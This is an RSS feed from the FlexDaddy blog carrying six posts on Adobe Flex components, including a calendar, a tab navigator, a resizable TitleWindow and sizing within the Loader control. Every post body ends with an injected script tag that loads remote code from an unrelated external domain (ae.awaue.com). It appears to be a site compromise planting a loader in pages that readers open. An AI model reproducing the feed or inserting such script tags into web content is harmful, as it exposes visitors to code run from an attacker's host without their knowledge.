<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FlexDaddy &#187; component</title>
	<atom:link href="http://www.flexdaddy.com/tag/component/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.flexdaddy.com</link>
	<description>Andrew Spaulding on Adobe Flash Platform Technologies</description>
	<lastBuildDate>Fri, 26 Mar 2010 03:42:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Flex Calendar &#8211; the most popular search string</title>
		<link>http://www.flexdaddy.com/2006/10/12/flex-calendar-the-most-popular-search-string/</link>
		<comments>http://www.flexdaddy.com/2006/10/12/flex-calendar-the-most-popular-search-string/#comments</comments>
		<pubDate>Thu, 12 Oct 2006 07:20:49 +0000</pubDate>
		<dc:creator>Andrew Spaulding</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[calendar]]></category>
		<category><![CDATA[component]]></category>
		<category><![CDATA[Flex]]></category>

		<guid isPermaLink="false">http://www.flexdaddy.info/2006/10/12/flex-calendar-the-most-popular-search-string/</guid>
		<description><![CDATA[
			
				
			
		
Over the past few months, &#8220;flex calendar&#8221; has been the most popular search string that results in hits on Flex Daddy. A while back, when I was working for Achilles Foundation, we played with the idea of creating a custom calendar in Flex 1.5. Read more here. We soon gave up on the idea due [...]


Related posts:<ol><li><a href='http://www.flexdaddy.com/2007/01/05/whats-more-than-just-a-flex-calendar/' rel='bookmark' title='Permanent Link: What&#8217;s more than just a Flex Calendar?'>What&#8217;s more than just a Flex Calendar?</a></li>
<li><a href='http://www.flexdaddy.com/2005/05/04/flex-calendar-can-it-be-that-hard/' rel='bookmark' title='Permanent Link: Flex Calendar &#8211; can it be that hard?'>Flex Calendar &#8211; can it be that hard?</a></li>
<li><a href='http://www.flexdaddy.com/2006/02/02/cairngorm-20-alpha/' rel='bookmark' title='Permanent Link: Cairngorm 2.0 Alpha'>Cairngorm 2.0 Alpha</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;margin-top:10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.flexdaddy.com%2F2006%2F10%2F12%2Fflex-calendar-the-most-popular-search-string%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.flexdaddy.com%2F2006%2F10%2F12%2Fflex-calendar-the-most-popular-search-string%2F&amp;source=spaulds&amp;style=normal&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>Over the past few months, &#8220;flex calendar&#8221; has been the most popular search string that results in hits on Flex Daddy. A while back, when I was working for <a target="_blank" href="http://www.achilles.com.au/">Achilles Foundation</a>, we played with the idea of creating a custom calendar in Flex 1.5. <a target="_blank" href="http://www.flexdaddy.info/2005/05/04/flex-calendar-can-it-be-that-hard/">Read more here</a>. We soon gave up on the idea due to time constraints and the complexity involved.</p>
<p><span id="more-82"></span>But now &#8230; we&#8217;re all eagerly awaiting the release of Adobe Consulting EMEA&#8217;s <a target="_blank" href="http://weblogs.macromedia.com/amcleod/archives/2006/08/open_source_fle.cfm">Open Source Flex 2 Calendar Component</a>. It&#8217;s been getting a lot of buzz, you can see by the number of comments, but we&#8217;re all awaiting a release date, or some more screenshots, or a teaser/demo &#8230; ooh, just something!</p>
<p>Be sure to <a target="_blank" href="http://weblogs.macromedia.com/amcleod/archives/2006/08/open_source_fle.cfm">check it out</a>. Head over to <a target="_blank" href="http://weblogs.macromedia.com/amcleod/">Alex McLeod&#8217;s blog</a> and make some noise!<script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://www.flexdaddy.com/2007/01/05/whats-more-than-just-a-flex-calendar/' rel='bookmark' title='Permanent Link: What&#8217;s more than just a Flex Calendar?'>What&#8217;s more than just a Flex Calendar?</a></li>
<li><a href='http://www.flexdaddy.com/2005/05/04/flex-calendar-can-it-be-that-hard/' rel='bookmark' title='Permanent Link: Flex Calendar &#8211; can it be that hard?'>Flex Calendar &#8211; can it be that hard?</a></li>
<li><a href='http://www.flexdaddy.com/2006/02/02/cairngorm-20-alpha/' rel='bookmark' title='Permanent Link: Cairngorm 2.0 Alpha'>Cairngorm 2.0 Alpha</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.flexdaddy.com/2006/10/12/flex-calendar-the-most-popular-search-string/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Flex Component Development on Yahoo! Groups</title>
		<link>http://www.flexdaddy.com/2006/07/14/flex-component-development-on-yahoo-groups/</link>
		<comments>http://www.flexdaddy.com/2006/07/14/flex-component-development-on-yahoo-groups/#comments</comments>
		<pubDate>Fri, 14 Jul 2006 00:30:54 +0000</pubDate>
		<dc:creator>Andrew Spaulding</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[component]]></category>
		<category><![CDATA[Flex]]></category>

		<guid isPermaLink="false">http://www.flexdaddy.info/2006/07/14/flex-component-development-on-yahoo-groups/</guid>
		<description><![CDATA[
			
				
			
		
A new group has been created on Yahoo! for Adobe Flex Component Development. The list/group will be a public forum for information on creating custom Flex components. If you&#8217;re interested in custom AS3 and Flex component development then please join!
http://groups.yahoo.com/group/flexcomponents/
Are you a member of the FlexCoders Yahoo! Group?Â  This is the forum/list for general Adobe [...]


Related posts:<ol><li><a href='http://www.flexdaddy.com/2006/03/21/exciting-flex-development-competition/' rel='bookmark' title='Permanent Link: Exciting Flex Development Competition'>Exciting Flex Development Competition</a></li>
<li><a href='http://www.flexdaddy.com/2005/03/31/flex-pricing-strategy/' rel='bookmark' title='Permanent Link: Flex pricing strategy'>Flex pricing strategy</a></li>
<li><a href='http://www.flexdaddy.com/2008/08/05/build-your-first-air-application-with-adobe-flex/' rel='bookmark' title='Permanent Link: Build your first AIR application with Adobe Flex'>Build your first AIR application with Adobe Flex</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;margin-top:10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.flexdaddy.com%2F2006%2F07%2F14%2Fflex-component-development-on-yahoo-groups%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.flexdaddy.com%2F2006%2F07%2F14%2Fflex-component-development-on-yahoo-groups%2F&amp;source=spaulds&amp;style=normal&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>A new group has been created on Yahoo! for <a target="_blank" href="http://groups.yahoo.com/group/flexcomponents/">Adobe Flex Component Development</a>. The list/group will be a public forum for information on creating custom Flex components. If you&#8217;re interested in custom AS3 and Flex component development then please join!</p>
<p><a target="_blank" href="http://groups.yahoo.com/group/flexcomponents/">http://groups.yahoo.com/group/flexcomponents/</a></p>
<p>Are you a member of the <a target="_blank" href="http://groups.yahoo.com/group/flexcoders/">FlexCoders</a> Yahoo! Group?Â  This is the forum/list for general Adobe Flex questions and discussion. You&#8217;ll also find a large number of Adobe staff and Engineers on this list, so it&#8217;s the place to be if you want your questions answered. Don&#8217;t have any questions? Then please share and share alike. The more knowledge and understanding in the community the better.</p>
<p>Oh, and don&#8217;t forget to check out <a target="_blank" href="http://www.flex.org">Flex.org</a><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://www.flexdaddy.com/2006/03/21/exciting-flex-development-competition/' rel='bookmark' title='Permanent Link: Exciting Flex Development Competition'>Exciting Flex Development Competition</a></li>
<li><a href='http://www.flexdaddy.com/2005/03/31/flex-pricing-strategy/' rel='bookmark' title='Permanent Link: Flex pricing strategy'>Flex pricing strategy</a></li>
<li><a href='http://www.flexdaddy.com/2008/08/05/build-your-first-air-application-with-adobe-flex/' rel='bookmark' title='Permanent Link: Build your first AIR application with Adobe Flex'>Build your first AIR application with Adobe Flex</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.flexdaddy.com/2006/07/14/flex-component-development-on-yahoo-groups/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Advanced Tab Navigator</title>
		<link>http://www.flexdaddy.com/2005/04/19/advanced-tab-navigator/</link>
		<comments>http://www.flexdaddy.com/2005/04/19/advanced-tab-navigator/#comments</comments>
		<pubDate>Tue, 19 Apr 2005 01:46:17 +0000</pubDate>
		<dc:creator>Andrew Spaulding</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[component]]></category>
		<category><![CDATA[Flex]]></category>

		<guid isPermaLink="false">http://www.flexdaddy.info/2005/04/19/advanced-tab-navigator/</guid>
		<description><![CDATA[
			
				
			
		
The guys at iteration::two have created an Advanced TabNavigator component with the option of placing the tabs at either the top or the bottom. Pretty neat huh!
It will be the first of a component set that they will release into the flex community. 
Go get it here&#8230;


Related posts:Resizable, Minimizable/Maximizable TitleWindow
Flex Component Development on Yahoo! Groups
Flex [...]


Related posts:<ol><li><a href='http://www.flexdaddy.com/2005/03/06/resizable-and-collapsable-titlewindow-flex-15/' rel='bookmark' title='Permanent Link: Resizable, Minimizable/Maximizable TitleWindow'>Resizable, Minimizable/Maximizable TitleWindow</a></li>
<li><a href='http://www.flexdaddy.com/2006/07/14/flex-component-development-on-yahoo-groups/' rel='bookmark' title='Permanent Link: Flex Component Development on Yahoo! Groups'>Flex Component Development on Yahoo! Groups</a></li>
<li><a href='http://www.flexdaddy.com/2006/10/12/flex-calendar-the-most-popular-search-string/' rel='bookmark' title='Permanent Link: Flex Calendar &#8211; the most popular search string'>Flex Calendar &#8211; the most popular search string</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;margin-top:10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F04%2F19%2Fadvanced-tab-navigator%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F04%2F19%2Fadvanced-tab-navigator%2F&amp;source=spaulds&amp;style=normal&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>The guys at <a href="http://www.iterationtwo.com/index.html">iteration::two</a> have created an <a href="http://www.richinternetapps.com/archives/000106.html">Advanced TabNavigator</a> component with the option of placing the tabs at either the top or the bottom. Pretty neat huh!</p>
<p>It will be the first of a component set that they will release into the flex community. </p>
<p><a href="http://www.richinternetapps.com/archives/000106.html">Go get it here</a>&#8230;<script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://www.flexdaddy.com/2005/03/06/resizable-and-collapsable-titlewindow-flex-15/' rel='bookmark' title='Permanent Link: Resizable, Minimizable/Maximizable TitleWindow'>Resizable, Minimizable/Maximizable TitleWindow</a></li>
<li><a href='http://www.flexdaddy.com/2006/07/14/flex-component-development-on-yahoo-groups/' rel='bookmark' title='Permanent Link: Flex Component Development on Yahoo! Groups'>Flex Component Development on Yahoo! Groups</a></li>
<li><a href='http://www.flexdaddy.com/2006/10/12/flex-calendar-the-most-popular-search-string/' rel='bookmark' title='Permanent Link: Flex Calendar &#8211; the most popular search string'>Flex Calendar &#8211; the most popular search string</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.flexdaddy.com/2005/04/19/advanced-tab-navigator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flex library assets &#8211; cursors</title>
		<link>http://www.flexdaddy.com/2005/03/24/flex-library-assets-cursors/</link>
		<comments>http://www.flexdaddy.com/2005/03/24/flex-library-assets-cursors/#comments</comments>
		<pubDate>Thu, 24 Mar 2005 10:06:21 +0000</pubDate>
		<dc:creator>Andrew Spaulding</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[component]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[macromedia]]></category>

		<guid isPermaLink="false">http://www.flexdaddy.info/2005/03/24/flex-library-assets-cursors/</guid>
		<description><![CDATA[
			
				
			
		
A month ago I posted a question to flexcoders regarding cursors not showing in sub-applications loaded using the Loader control (mx:Loader). The solution was to embed the required assets into the root application. 
Following this I needed to find out what cursors were available in the mx.skins.cursor package. But as Manish explains, this is not [...]


Related posts:<ol><li><a href='http://www.flexdaddy.com/2006/02/06/how-to-skin-flex-20/' rel='bookmark' title='Permanent Link: How to skin Flex 2.0'>How to skin Flex 2.0</a></li>
<li><a href='http://www.flexdaddy.com/2005/03/06/resizable-and-collapsable-titlewindow-flex-15/' rel='bookmark' title='Permanent Link: Resizable, Minimizable/Maximizable TitleWindow'>Resizable, Minimizable/Maximizable TitleWindow</a></li>
<li><a href='http://www.flexdaddy.com/2005/02/21/sizing-apps-within-the-loader-control/' rel='bookmark' title='Permanent Link: Sizing apps within the Loader control'>Sizing apps within the Loader control</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;margin-top:10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F03%2F24%2Fflex-library-assets-cursors%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F03%2F24%2Fflex-library-assets-cursors%2F&amp;source=spaulds&amp;style=normal&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>A month ago I posted a question to flexcoders regarding <a href="http://www.mail-archive.com/flexcoders%40yahoogroups.com/msg02976.html">cursors not showing</a> in sub-applications loaded using the Loader control (mx:Loader). The solution was to embed the required assets into the root application. </p>
<p>Following this I needed to find out what cursors were available in the mx.skins.cursor package. But as <a href="http://manish.revise.org">Manish</a> explains, this is not a package, yet a naming convention for symbols in the flex Library.swf</p>
<p>For a more detailed explanation, and steps on how you can read into the Library.swf, check out <a href="http://manish.revise.org/archives/2005/03/23/whats-in-mxskinscursor/">whats in mx.skins.cursor</a> over at <a href="http://manish.revise.org/">Manish Jethani&#8217;s Blog</a>.<script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://www.flexdaddy.com/2006/02/06/how-to-skin-flex-20/' rel='bookmark' title='Permanent Link: How to skin Flex 2.0'>How to skin Flex 2.0</a></li>
<li><a href='http://www.flexdaddy.com/2005/03/06/resizable-and-collapsable-titlewindow-flex-15/' rel='bookmark' title='Permanent Link: Resizable, Minimizable/Maximizable TitleWindow'>Resizable, Minimizable/Maximizable TitleWindow</a></li>
<li><a href='http://www.flexdaddy.com/2005/02/21/sizing-apps-within-the-loader-control/' rel='bookmark' title='Permanent Link: Sizing apps within the Loader control'>Sizing apps within the Loader control</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.flexdaddy.com/2005/03/24/flex-library-assets-cursors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resizable, Minimizable/Maximizable TitleWindow</title>
		<link>http://www.flexdaddy.com/2005/03/06/resizable-and-collapsable-titlewindow-flex-15/</link>
		<comments>http://www.flexdaddy.com/2005/03/06/resizable-and-collapsable-titlewindow-flex-15/#comments</comments>
		<pubDate>Sun, 06 Mar 2005 12:33:11 +0000</pubDate>
		<dc:creator>Andrew Spaulding</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[actionscript]]></category>
		<category><![CDATA[component]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[macromedia]]></category>

		<guid isPermaLink="false">http://www.flexdaddy.info/2005/03/06/resizable-and-collapsable-titlewindow-flex-15/</guid>
		<description><![CDATA[
			
				
			
		
The TitleWindow component does not support resizing and collapsing the window, at least not until recently.  Following on from Manish&#8217;s  &#8216;Resizable Title Window&#8217;,  Jesse&#8217;s  &#8216;Collapsable Panel&#8217;, and Christophe&#8217;s &#8216;Draggable, Minimizable/Maximizable, Configurable Panel&#8217;, I felt the need to combine all such functionality into a single class.
The outcome of this was a Resizable, [...]


Related posts:<ol><li><a href='http://www.flexdaddy.com/2005/04/19/advanced-tab-navigator/' rel='bookmark' title='Permanent Link: Advanced Tab Navigator'>Advanced Tab Navigator</a></li>
<li><a href='http://www.flexdaddy.com/2008/08/05/build-your-first-air-application-with-adobe-flex/' rel='bookmark' title='Permanent Link: Build your first AIR application with Adobe Flex'>Build your first AIR application with Adobe Flex</a></li>
<li><a href='http://www.flexdaddy.com/2005/02/21/sizing-apps-within-the-loader-control/' rel='bookmark' title='Permanent Link: Sizing apps within the Loader control'>Sizing apps within the Loader control</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;margin-top:10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F03%2F06%2Fresizable-and-collapsable-titlewindow-flex-15%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F03%2F06%2Fresizable-and-collapsable-titlewindow-flex-15%2F&amp;source=spaulds&amp;style=normal&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>The TitleWindow component does not support resizing and collapsing the window, at least not until recently.  Following on from Manish&#8217;s <a href="http://manish.revise.org/archives/2005/01/09/resizable-titlewindow-in-flex/"> &#8216;Resizable Title Window&#8217;</a>,  Jesse&#8217;s  <a href="http://dev.jessewarden.com/flex/collapsablepanel/">&#8216;Collapsable Panel&#8217;</a>, and Christophe&#8217;s <a href="http://www.coenraets.com">&#8216;Draggable, Minimizable/Maximizable, Configurable Panel&#8217;</a>, I felt the need to combine all such functionality into a single class.</p>
<p>The outcome of this was a Resizable, Minimizable/Maximizable TitleWindow. The component is work in progress, and could be approched in a much neater fashion, so consider it a stepping stone if you&#8217;re feeling adventurous!</p>
<p><span id="more-19"></span></p>
<p>On the roadmap:</p>
<ol>
<li>Set the minimum height and width of the window for resizing. Currently the buttons and window title overlap. You can also resize the window less than the header height (whoops)</li>
<li>Modify the backgroundImage&#8217;s properties (offsets) to display a &#8216;wedge&#8217; image in the bottom right hand corner. This will help show that the window can be resized.</li>
<li>Make the resize capabilty a modifiable property.</li>
<li>Combine all image assets into one swf/fla file.</li>
</ol>
<p>That said, feel free to <a href='http://www.flexdaddy.info/wp-content/images/ResizableCollapsableTitleWindow.zip' title=''>download the sample app</a> and try it out!<br />
<script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://www.flexdaddy.com/2005/04/19/advanced-tab-navigator/' rel='bookmark' title='Permanent Link: Advanced Tab Navigator'>Advanced Tab Navigator</a></li>
<li><a href='http://www.flexdaddy.com/2008/08/05/build-your-first-air-application-with-adobe-flex/' rel='bookmark' title='Permanent Link: Build your first AIR application with Adobe Flex'>Build your first AIR application with Adobe Flex</a></li>
<li><a href='http://www.flexdaddy.com/2005/02/21/sizing-apps-within-the-loader-control/' rel='bookmark' title='Permanent Link: Sizing apps within the Loader control'>Sizing apps within the Loader control</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.flexdaddy.com/2005/03/06/resizable-and-collapsable-titlewindow-flex-15/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Sizing apps within the Loader control</title>
		<link>http://www.flexdaddy.com/2005/02/21/sizing-apps-within-the-loader-control/</link>
		<comments>http://www.flexdaddy.com/2005/02/21/sizing-apps-within-the-loader-control/#comments</comments>
		<pubDate>Mon, 21 Feb 2005 11:28:32 +0000</pubDate>
		<dc:creator>Andrew Spaulding</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[component]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[SWF]]></category>

		<guid isPermaLink="false">http://www.flexdaddy.info/?p=12</guid>
		<description><![CDATA[I had a recent requirement to load a flex app into anothor using the Loader control, but I was stuck at trying to get the loaded swf to stretch to the available space.

The problem came as the Loader is a component and not a container and therfore doesnt know about percentages or flex, so it cannot size content in the way we would expect it to. There are 2 workarounds, yet i will always take the later as it allows the size to be dynamic.


Related posts:<ol><li><a href='http://www.flexdaddy.com/2010/01/19/cast-a-loaded-flex-application-to-an-interface/' rel='bookmark' title='Permanent Link: Cast a loaded Flex Application to an Interface'>Cast a loaded Flex Application to an Interface</a></li>
<li><a href='http://www.flexdaddy.com/2005/03/24/flex-library-assets-cursors/' rel='bookmark' title='Permanent Link: Flex library assets &#8211; cursors'>Flex library assets &#8211; cursors</a></li>
<li><a href='http://www.flexdaddy.com/2006/06/19/afr-access-one-of-the-largest-public-flex-apps-to-date/' rel='bookmark' title='Permanent Link: AFR Access &#8211; one of the largest public Flex apps to date'>AFR Access &#8211; one of the largest public Flex apps to date</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;margin-top:10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F02%2F21%2Fsizing-apps-within-the-loader-control%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F02%2F21%2Fsizing-apps-within-the-loader-control%2F&amp;source=spaulds&amp;style=normal&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>I had a recent requirement to load a flex app into another using the Loader control, but I was stuck at trying to get the loaded swf to stretch to the available space.</p>
<p>The problem came as the Loader is a component and not a container and therfore doesnt know about percentages or flex, so it cannot size content in the way we would expect it to. There are 2 workarounds, yet i will always take the later as it allows the size to be dynamic.<br />
<span id="more-12"></span><br />
There were 2 possible workarounds, but I would generally stick with the later for the sake of dynamic sizing:</p>
<p>1. You can set the height and width of the loaded app to be pixel values (i.e width=&#8221;800&#8243; height=&#8221;600&#8243;).</p>
<p>2. You can add the following code to a script block in the root of the loaded app:</p>
<p><code><br />
function getPreferredHeight()<br />
{<br />
    if(_parent)<br />
    {<br />
        return _parent.layoutHeight;<br />
    }<br />
    else<br />
    {<br />
        return super.getPreferredHeight();<br />
    }<br />
}<br />
</code></p>
<p><code><br />
function getPreferredWidth()<br />
{<br />
    if(_parent)<br />
    {<br />
        return _parent.layoutWidth;<br />
    }<br />
    else<br />
    {<br />
        return super.getPreferredWidth();<br />
    }<br />
}<br />
</code><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://www.flexdaddy.com/2010/01/19/cast-a-loaded-flex-application-to-an-interface/' rel='bookmark' title='Permanent Link: Cast a loaded Flex Application to an Interface'>Cast a loaded Flex Application to an Interface</a></li>
<li><a href='http://www.flexdaddy.com/2005/03/24/flex-library-assets-cursors/' rel='bookmark' title='Permanent Link: Flex library assets &#8211; cursors'>Flex library assets &#8211; cursors</a></li>
<li><a href='http://www.flexdaddy.com/2006/06/19/afr-access-one-of-the-largest-public-flex-apps-to-date/' rel='bookmark' title='Permanent Link: AFR Access &#8211; one of the largest public Flex apps to date'>AFR Access &#8211; one of the largest public Flex apps to date</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.flexdaddy.com/2005/02/21/sizing-apps-within-the-loader-control/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
